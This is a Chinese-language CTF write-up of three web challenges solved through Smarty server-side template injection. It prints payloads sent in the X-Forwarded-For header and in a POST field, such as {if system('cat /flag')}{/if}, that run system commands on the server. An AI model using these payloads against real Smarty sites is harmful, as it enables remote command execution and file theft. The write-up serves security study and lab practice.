目录
[[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel](#[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel)
[[HDCTF 2023]SearchMaster](#[HDCTF 2023]SearchMaster)
[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel
这两道题目一样
1、题目
![](https://img-blog.csdnimg.cn/direct/2e356bd75f01475da08524290f93235a.png)
2、知识点
SSTI(服务端模板注入漏洞)、smarty
SSTI(服务端模板注入漏洞)
原理:开发者使用模板进行开发,例如smarty,Django等,在开发过程中,没有将模板语句与数据进行分离,也就是前端的内容会传到服务器进行执行,所以导致攻击者可以利用开发模板的特性进行入侵,可以执行系统命令,Getshell等
smarty是PHP语言的一个开发模板,这个模板也存在很多漏洞,大家可以自行百度
不同开发模版的语法也不一样,那么怎么判断他们是属于哪一种呢?
可以参考下面这一张图
![](https://img-blog.csdnimg.cn/direct/56471a71f71140e5b8a60367af1d2fab.png)
3、思路
![](https://img-blog.csdnimg.cn/direct/03af7fb3df854409badc4028d5251bca.png)
打开题目,我们可以看到提示我们使用的是Smarty,跟XFF有关,我们可以在XFF构造payload
X-Forwarded-For:{php}phpinfo(){/php}
![](https://img-blog.csdnimg.cn/direct/0d7f1cd4671e440aa2ef17db4c29ff3e.png)
结果报错了,可能是版本的原因,查一下当前的smarty的版本
X-Forwarded-For:{$smarty.version}
![](https://img-blog.csdnimg.cn/direct/e3cc3793e09f4ae9b62bc0836f917911.png)
当前版本是3.1.30,报错的原因是因为目前的版本应该弃用{php}{/php}这一标签了
但是还有一个{if}{/if}标签,这个{if}标签跟原来的php语言区别是每一个{if}后面都要有{/if}配成一对
X-Forwarded-For:{if phpinfo()}{/if}
![](https://img-blog.csdnimg.cn/direct/b44a02329e85426584d9da908c2e2927.png)
结果正常回显,我们构造系统执行命令
X-Forwarded-For:{if system('cat /flag')}{/if}
![](https://img-blog.csdnimg.cn/direct/9ab380d16286423a81f448a49e93aac1.png)
得到flag:NSSCTF{a7574cb4-65a0-4447-873b-465b370e56a3}
[HDCTF 2023]SearchMaster
1、题目
![](https://img-blog.csdnimg.cn/direct/46c68003460a4f7f9082fe3036203460.png)
2、知识点
这一题的知识点跟上面的一样,SSTI、Smarty
3、思路
![](https://img-blog.csdnimg.cn/direct/2e26eb3fa457432d9ca2bbe1fadbf93c.png)
打开题目,有个黄色按钮,跳转页面
![](https://img-blog.csdnimg.cn/direct/143fd0eac3144c2bbd6cc535756b19a8.png)
但这个flag是错误的
另外提示要我们POST上传一个数据data,但没有明确告诉我们变量名是什么,我们猜一下变量名是data,但下一步怎么做呢?好像又无从下手
根据题目标签,跟SSTI、Smarty有关,我们测试一下
![](https://img-blog.csdnimg.cn/direct/58e76cfc8ab342f5b2c9d8ed9fb9fb85.png)
说明变量名为data,且为Smarty模板,这里测试的方法就是根据下面这张图的,不同模板的语法不一样
![](https://img-blog.csdnimg.cn/direct/56471a71f71140e5b8a60367af1d2fab.png)
知道是Smarty,就好办了,
data={php}phpinfo();{/php}
![](https://img-blog.csdnimg.cn/direct/150a23c419d2400d97244c7b32ee6121.png)
{php}标签报错,那我们使用{if}标签
data={if phpinfo()}{/if}
![](https://img-blog.csdnimg.cn/direct/828775b9330a4213b1115a26c40bb346.png)
正常执行,我们构造系统执行命令
data={if system('ls /')}{/if}
![](https://img-blog.csdnimg.cn/direct/68142b7f45964e1e8e381f0510739f4d.png)
查看flag_13_searchmaster文件
data={if system('cat /flag_13_searchmaster')}{/if}
![](https://img-blog.csdnimg.cn/direct/535919ceae774315a910ed6495bc19f5.png)
得到flag:NSSCTF{df69cb3b-f72e-4cb2-9da2-4e0b46cb4c73}
这篇文章就先记录到这里了,哪里不懂的或者哪里不好的欢迎指出